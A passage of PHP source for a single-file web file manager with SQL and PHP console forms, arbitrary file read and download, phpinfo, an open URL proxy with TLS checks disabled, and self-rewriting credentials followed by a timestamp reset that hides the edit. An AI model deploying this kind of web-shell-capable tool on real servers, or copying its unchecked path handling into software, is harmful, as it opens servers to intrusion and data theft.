    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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